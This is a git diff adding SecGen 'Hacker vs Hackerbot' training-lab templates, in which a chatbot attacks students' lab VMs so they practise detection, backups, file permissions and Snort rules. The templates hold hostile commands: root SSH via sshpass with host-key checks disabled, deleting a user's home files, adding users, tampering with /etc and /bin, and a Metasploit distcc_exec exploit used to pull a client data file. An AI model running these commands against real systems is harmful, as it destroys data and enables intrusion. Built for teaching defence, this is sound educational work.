000000000..3a9328319 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack1.xml.erb @@ -0,0 +1,36 @@ + + +<% $random_user = 'user' + SecureRandom.hex(3) %> + + An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd. + + rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $? + + + returned error code + :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!. + + + 0 + User added + + + + already exists + :( Remove the user and try again. + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + Now after the attack, find the username added by diffing using a backup. What username was created? + ^<%= $random_user %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack2.xml.erb new file mode 100644 index 000000000..058a60b83 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack2.xml.erb @@ -0,0 +1,20 @@ + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /etc/ + A flag has been inserted into a random file in /etc/. Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/ + + + :( Something was not right... We are trying to write to /etc/ + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack3.xml.erb new file mode 100644 index 000000000..7826a066a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack3.xml.erb @@ -0,0 +1,19 @@ + + + + An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/. + changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf + + + /home/<%= $main_user %>/backups/ + A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work! + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + + :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack4.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack4.xml.erb new file mode 100644 index 000000000..4b1144145 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack4.xml.erb @@ -0,0 +1,27 @@ + + +<% $random = SecureRandom.hex %> + + Creating a new file in /home/<%= $main_user %>/... Let it happen. + + echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $? + + 0 + Created /home/<%= $main_user %>/something_secret + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the SHA1 hash of /home/<%= $main_user %>/something_secret? + ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack5.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack5.xml.erb new file mode 100644 index 000000000..376c76d4b --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack5.xml.erb @@ -0,0 +1,26 @@ + + + Going to create a new file in /etc/, use hash comparisons to detect which new file changes. + x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX" + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/ + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack6.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack6.xml.erb new file mode 100644 index 000000000..1ae0a2373 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack6.xml.erb @@ -0,0 +1,26 @@ + + + Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file. + srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /bin/ + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack7.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack7.xml.erb new file mode 100644 index 000000000..6cb8178b2 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/integrity_attack7.xml.erb @@ -0,0 +1,27 @@ + + + + Going to copy a new random file in /etc/ use hash comparisons to find the filename. + srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest + + + + /etc.* + Good. Now answer this... + + + + Permission denied|Operation not permitted|Read-only + :( You stopped the attack, rather than monitor for changes... + + + :( Something was not right... + + + + What is the file that was created? + {{post_command_output}} + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/intro.md.erb new file mode 100644 index 000000000..e839e8bae --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/intro.md.erb @@ -0,0 +1,47 @@ +# Hacker vs Hackerbot 1 + +## Getting started +### VMs in this lab + +==Start these VMs== (if you haven't already): + +- hackerbot_server (leave it running, you don't log into this) +- backup_server (IP address: <%= $backup_server_ip %>) +- desktop + +All of these VMs need to be running to complete the lab. + +### Your login details for the "desktop" and "backup_server" VMs +User: <%= $main_user %> +Password: <%= $main_password %> +(You can copy-paste this password!) + +You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab. + +### For marks in the module +1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags. + +## Hackerbot! +![small-right](images/skullandusb.svg) + +This exercise involves interacting with Hackerbot, a chatbot who will task you to complete tasks and will attack your systems. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you. + +--- + +Some commands you may find useful include: +* `rsync` +* `chattr` +* `lsattr` +* `chmod` +* `hashdeep` +* `shasum` +* `mount` +* `umount` +* `diff` +* `tcpdump` +* `wireshark` + +Remember you can learn more about the commands by running: +```bash +man *command* +``` diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/lab.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/lab.xml.erb new file mode 100644 index 000000000..5877e05ad --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/lab.xml.erb @@ -0,0 +1,142 @@ +<% + require 'json' + require 'securerandom' + require 'digest/sha1' + require 'fileutils' + require 'erb' + + if self.accounts.empty? + abort('Sorry, you need to provide an account') + end + + $first_account = JSON.parse(self.accounts.first) + $second_account = JSON.parse(self.accounts[1]) + + $files = [] + $log_files = [] + if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0 + $files = $first_account['leaked_filenames'] + $log_files = $first_account['leaked_filenames'].grep(/log/) + end + + if $files.empty? + $files = ['myfile', 'afile', 'filee', 'thefile'] + end + if $log_files.empty? + $log_files = ['log', 'thelog', 'logs', 'frogonalog'] + end + + $main_user = $first_account['username'].to_s + $main_password = $first_account['password'].to_s + $second_user = $second_account['username'].to_s + $example_file = "/home/#{$second_user}/#{$files.sample}" + $example_dir = "/home/#{$second_user}/personal_secrets/" + + $backup_server_ip = self.backup_server_ip.first + $desktop_ip = self.desktop_ip.first + $hackerbot_server_ip = self.hackerbot_server_ip.first + $root_password = self.root_password + $flags = self.flags + + REQUIRED_FLAGS = 10 + while $flags.length < REQUIRED_FLAGS + $flags << "flag{#{SecureRandom.hex}}" + Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!" + end + + def get_binding + binding + end +%> + + + + + + Hackerbot + + config/AIML + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash + + + + + + You are about to be attacked! + + + When you are ready, simply say 'ready'. + 'Ready'? + Ok, I'll do what I can to move things along... + Moving things along to the next one... + Ok, I'll do what I can to back things up... + Ok, backing up. + Ok, skipping it along. + Let me see what I can do to goto that attack. + That was the last one for now. You can rest easy, until next time... (End.) + That was the last one. Game over? + You are back to the beginning! + This is where it all began. + Doing my thing... + Here we go... + ... + .... + Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along. + Say 'ready', 'next', or 'previous'. + + + I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*' + Say "The answer is *X*". + There is no question to answer + Correct + Incorrect + That's not possible. + Wouldn't you like to know. + + + Oh no. Failed to get shell... You need to let us in. + + + + HvHB1 + <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %> +
+<%= File.read self.templates_path + 'license.md.erb' %> + +Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>) +
+ + true + +
+ + + +<% + $permission_attacks = ['file_perms_attack_1.xml.erb', 'file_perms_attack_2.xml.erb', 'file_perms_attack_3.xml.erb', 'file_perms_attack_4.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $permission_attacks.pop ).result(self.get_binding) %> + + +<% + $integrity_attacks = ['integrity_attack1.xml.erb', 'integrity_attack2.xml.erb', 'integrity_attack3.xml.erb', 'integrity_attack4.xml.erb', 'integrity_attack5.xml.erb', 'integrity_attack6.xml.erb', 'integrity_attack7.xml.erb'].shuffle +%> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> +<%= ERB.new(File.read self.templates_path + $integrity_attacks.pop ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'backups_rsync_steps_attacks.xml.erb' ).result(self.get_binding) %> + + +<%= ERB.new(File.read self.templates_path + 'nmap_port_attack1.xml.erb' ).result(self.get_binding) %> + + +
diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/labsheet.html.erb new file mode 100644 index 000000000..f2305ec1c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/labsheet.html.erb @@ -0,0 +1,121 @@ + + + <%= self.title %> + + + + + +
+ <%= self.html_TOC_rendered %> +
+ +
+ <%= self.html_rendered %> +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/license.md.erb new file mode 100644 index 000000000..c11478e8e --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/license.md.erb @@ -0,0 +1,6 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. + +![small](images/leedsbeckett-logo.png) diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/nmap_port_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/nmap_port_attack1.xml.erb new file mode 100644 index 000000000..5f78fe0ed --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1/templates/nmap_port_attack1.xml.erb @@ -0,0 +1,25 @@ + +<% $rand_port = rand(65535) %> + nmap -p <%= $rand_port %> {{chat_ip_address}} > /dev/null; echo $? + false + + + Monitor the network traffic, and look out for attempts to scan your desktop VM. You need to identify what port the connection attempt is to. + + + 0 + Hope you found the port number. + + + + 1 + :( Failed to scan + + + + Now after the attack, what port number was scanned? + ^<%= $rand_port %>$ + :) <%= $flags.pop %> + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/hacker_vs_hackerbot_2.pp b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/hacker_vs_hackerbot_2.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/secgen_local/local.rb new file mode 100644 index 000000000..22f12019d --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/secgen_local/local.rb @@ -0,0 +1,55 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :backup_server_ip + attr_accessor :ids_server_ip + attr_accessor :web_server_ip + attr_accessor :desktop_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator HvHB1' + self.title = 'HvHB1' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.backup_server_ip = [] + self.web_server_ip = [] + self.ids_server_ip = [] + self.desktop_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--backup_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--desktop_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--backup_server_ip' + self.backup_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--web_server_ip' + self.web_server_ip << arg; + when '--desktop_ip' + self.desktop_ip << arg; + when '--hackerbot_server_ip' + self.desktop_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/secgen_metadata.xml new file mode 100644 index 000000000..f388c671c --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/secgen_metadata.xml @@ -0,0 +1,51 @@ + + + + Hackerbot config for a test covering the second few hackerbot labs + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a lab test.. + + hackerbot_config + linux + + accounts + flags + root_password + backup_server_ip + desktop_ip + hackerbot_server_ip + + + + + + + vagrant + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/backups_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/backups_attack1.xml.erb new file mode 100644 index 000000000..4299c9186 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/backups_attack1.xml.erb @@ -0,0 +1,23 @@ + + +<% $file = SecureRandom.hex(2) %> + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + Use scp to copy the desktop /bin/ directory to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-bin-backup-<%= $file %>/, which should then include the backed up bin/ directory. + + ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/mkdir > /dev/null; echo $? + + No such file or directory + :( You didn't copy to the remote /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/... Remember that the trailing / changes whether you are copying directories or their contents... + + + 0 + :) Well done! <%= $flags.pop %> + true + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/backups_rsync_steps_attacks.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/backups_rsync_steps_attacks.xml.erb new file mode 100644 index 000000000..f05ae45bf --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/backups_rsync_steps_attacks.xml.erb @@ -0,0 +1,115 @@ + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + + It's your job to set up remote backups for <%= $second_user %> (a user on your system). Use rsync to create a full (epoch) remote backup of /home/<%= $second_user %> from your desktop system to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>. + + ls /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/<%= $files.sample %> > /dev/null; echo $? + + 0 + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( You didn't copy to remote ssh /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/ Remember that the trailing / changes whether you are copying directories or their contents... + + + :( Doesn't look like you have backed up all of <%= $second_user %>'s files to /home/<%= $main_user %>/remote-rsync-backup/<%= $second_user %>. Try SSHing to the server and look at what you have backed up there. + + + + +<% $first_notes = SecureRandom.hex(2) %> +<% $hidden_flag = 'not_a_flag' %> + + + The <%= $second_user %> user is about to create some files... + + sudo -u <%= $second_user %> bash -c 'echo "Note to self: drink more water <%= $first_notes %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep" > /home/<%= $second_user %>/logs/log2; echo <%= $hidden_flag %> > /home/<%= $second_user %>/personal_secrets/flag; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... + true + + + :( Something went wrong... + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + + Create a differential backup of <%= $second_user %>'s desktop files to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-differential1/. + + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; echo $status1$status2 + + 0[1-9] + :) Well done! <%= $flags.pop %> + true + + + [1-9][1-9] + :( You didn't backup to the specified remote directory. + + + 00 + :( You backed up to the correct location, but it wasn't an differential backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... + + + + + + + + I am going to attack you now! + + rm -r /home/<%= $second_user %>/*; echo $? + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %>. You need to let this happen! + + + 0 + I just deleted all <%= $second_user %>'s files! They don't call me Hackerbot for nothin'! + true + + + :( Something went wrong... + + + + + + + + + Restore <%= $second_user %>'s notes file to it's earliest state + + grep '<%= $first_notes %>' /home/<%= $second_user %>/notes > /dev/null; status1=$?; echo $status1 + + 0 + :) Well done! <%= $flags.pop %> + true + + + [0-9] + :( That's not the earliest state... + + + :( Something went wrong... + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/exfiltration_rule_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/exfiltration_rule_1.xml.erb new file mode 100644 index 000000000..8c58d3cab --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/exfiltration_rule_1.xml.erb @@ -0,0 +1,48 @@ + + +<% $rand_alert0 = SecureRandom.hex(3) + $rand_tmp_restingplace = "/tmp/#{SecureRandom.hex(3)}" %> + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>clients.csv <%= $rand_tmp_restingplace %>; chmod 644 <%= $rand_tmp_restingplace %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$? + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + + cat <%= $rand_tmp_restingplace %>; echo --$? + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert0 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert0 %>.*".*content:"' /tmp/snort_rules >/dev/null; echo good_rule:$? + + + You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert0 %>". (This attack may take a while.) + + + good_rule:1 + :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing content matching or the message from your rule. + + + triggered:1 + :( Your rule wasn't triggered. + + + triggered:0.*good_rule:0 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to scp to the ids server (<%= $ids_server_ip %>) + + + -1 + :( Failed to ssh to the web server (<%= $web_server_ip %>) + + + --0 + Continuing... + + + :( Something was not quite right... + + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/exfiltration_rule_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/exfiltration_rule_2.xml.erb new file mode 100644 index 000000000..b79ba4cfc --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/exfiltration_rule_2.xml.erb @@ -0,0 +1,46 @@ + +<% $rand_alert2 = SecureRandom.hex(3) + $rand_tmp_restingplace_fake = "/tmp/#{SecureRandom.hex(3)}" %> + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>fake_clients.csv <%= $rand_tmp_restingplace_fake %>; chmod 644 <%= $rand_tmp_restingplace_fake %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$? + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + + cat <%= $rand_tmp_restingplace_fake %>; echo --$? + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert2 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert2 %>.*".*pcre:"' /tmp/snort_rules >/dev/null; echo good_rule:$? + + + You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv and another in fake_clients.csv Create a rule that matches either file. Use REGEXP so that your rule doesn't include any of the actual data. Use one or more Snort rules to detect unencrypted transport of either of the files. The alert must include the message "<%= $rand_alert2 %>". + + + good_rule:1 + :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing *regular expression* matching or the message from your rule. + + + triggered:1 + :( Your rule wasn't triggered. + + + triggered:0.*good_rule:0 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to scp to the ids server (<%= $ids_server_ip %>) + + + -1 + :( Failed to ssh to the web server (<%= $web_server_ip %>) + + + --0 + Continuing... + + + :( Something was not quite right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_1.xml.erb new file mode 100644 index 000000000..37fdb90c4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_1.xml.erb @@ -0,0 +1,19 @@ + +<% $file = SecureRandom.hex(2) %> + An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file. + + sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to write to your file! You need to use access controls to protect the file. Create a new file. + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_2.xml.erb new file mode 100644 index 000000000..468dedb29 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_2.xml.erb @@ -0,0 +1,29 @@ + + +<% $log_file = $log_files.sample %> + + An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes. + + rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $? + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + Permission denied + :( You did protect the file, but not using file attributes. + + + 0 + :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file. + + + No such file or directory + :( The file should exist! + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_3.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_3.xml.erb new file mode 100644 index 000000000..cbf73f007 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_2/templates/file_perms_attack_3.xml.erb @@ -0,0 +1,24 @@ + + +<% $log_file = $log_files.first %> + + An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only. + + echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'appended!' >> /home/<%= $main_user %>/<%= $log_file %>; tail -n2 /home/<%= $main_user %>/<%= $log_file %>; echo $? + + appended! + :( You stopped anything from being appended to the file. What kind of log file do you think this is? + + + Operation not permitted + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( The file should exist! + + + :( 